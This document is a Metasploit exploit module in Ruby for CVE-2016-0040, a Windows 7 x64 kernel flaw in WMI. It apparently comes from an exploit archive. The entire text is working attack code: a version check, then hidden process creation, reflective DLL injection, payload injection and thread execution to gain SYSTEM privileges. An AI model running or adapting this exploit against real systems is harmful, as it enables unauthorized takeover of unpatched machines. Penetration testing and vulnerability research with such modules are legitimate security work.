Windows WMI Recieve Notification

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/windows/reflective_dll_injection'  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows WMI Recieve Notification Exploit',  
'Description' => %q(  
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.  
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'smmrootkit', # crash code  
'de7ec7ed', # exploit code  
'de7ec7ed', # msf module  
],  
'Arch' => [ARCH_X64],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Targets' => [  
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]  
],  
'Payload' => {  
'Space' => 4096,  
'DisableNops' => true  
},  
'References' => [  
['CVE', '2016-0040'],  
['MSB', 'MS16-014'],  
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],  
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],  
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']  
],  
'DisclosureDate' => 'Dec 4 2015',  
'DefaultTarget' => 0)  
)  
end  
  
def check  
# Windows 7 SP0/SP1 (64-bit)  
  
if sysinfo['OS'] !~ /windows/i  
return Exploit::CheckCode::Unknown  
end  
  
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'  
major, minor, build, revision, branch = file_version(file_path)  
vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")  
  
return Exploit::CheckCode::Safe if build > 7601  
  
return Exploit::CheckCode::Appears  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
check_result = check  
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown  
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
end  
  
print_status('Launching notepad to host the exploit...')  
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)  
begin  
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
# Reader Sandbox won't allow to create a new process:  
# stdapi_sys_process_execute: Operation failed: Access is denied.  
print_status('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
  
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")  
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll')  
library_path = ::File.expand_path(library_path)  
  
print_status("Injecting exploit into #{process.pid}...")  
exploit_mem, offset = inject_dll_into_process(process, library_path)  
  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
payload_mem = inject_into_process(process, payload.encoded)  
  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status('Payload injected. Executing exploit...')  
process.thread.create(exploit_mem + offset, payload_mem)  
  
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")  
end  
end  
`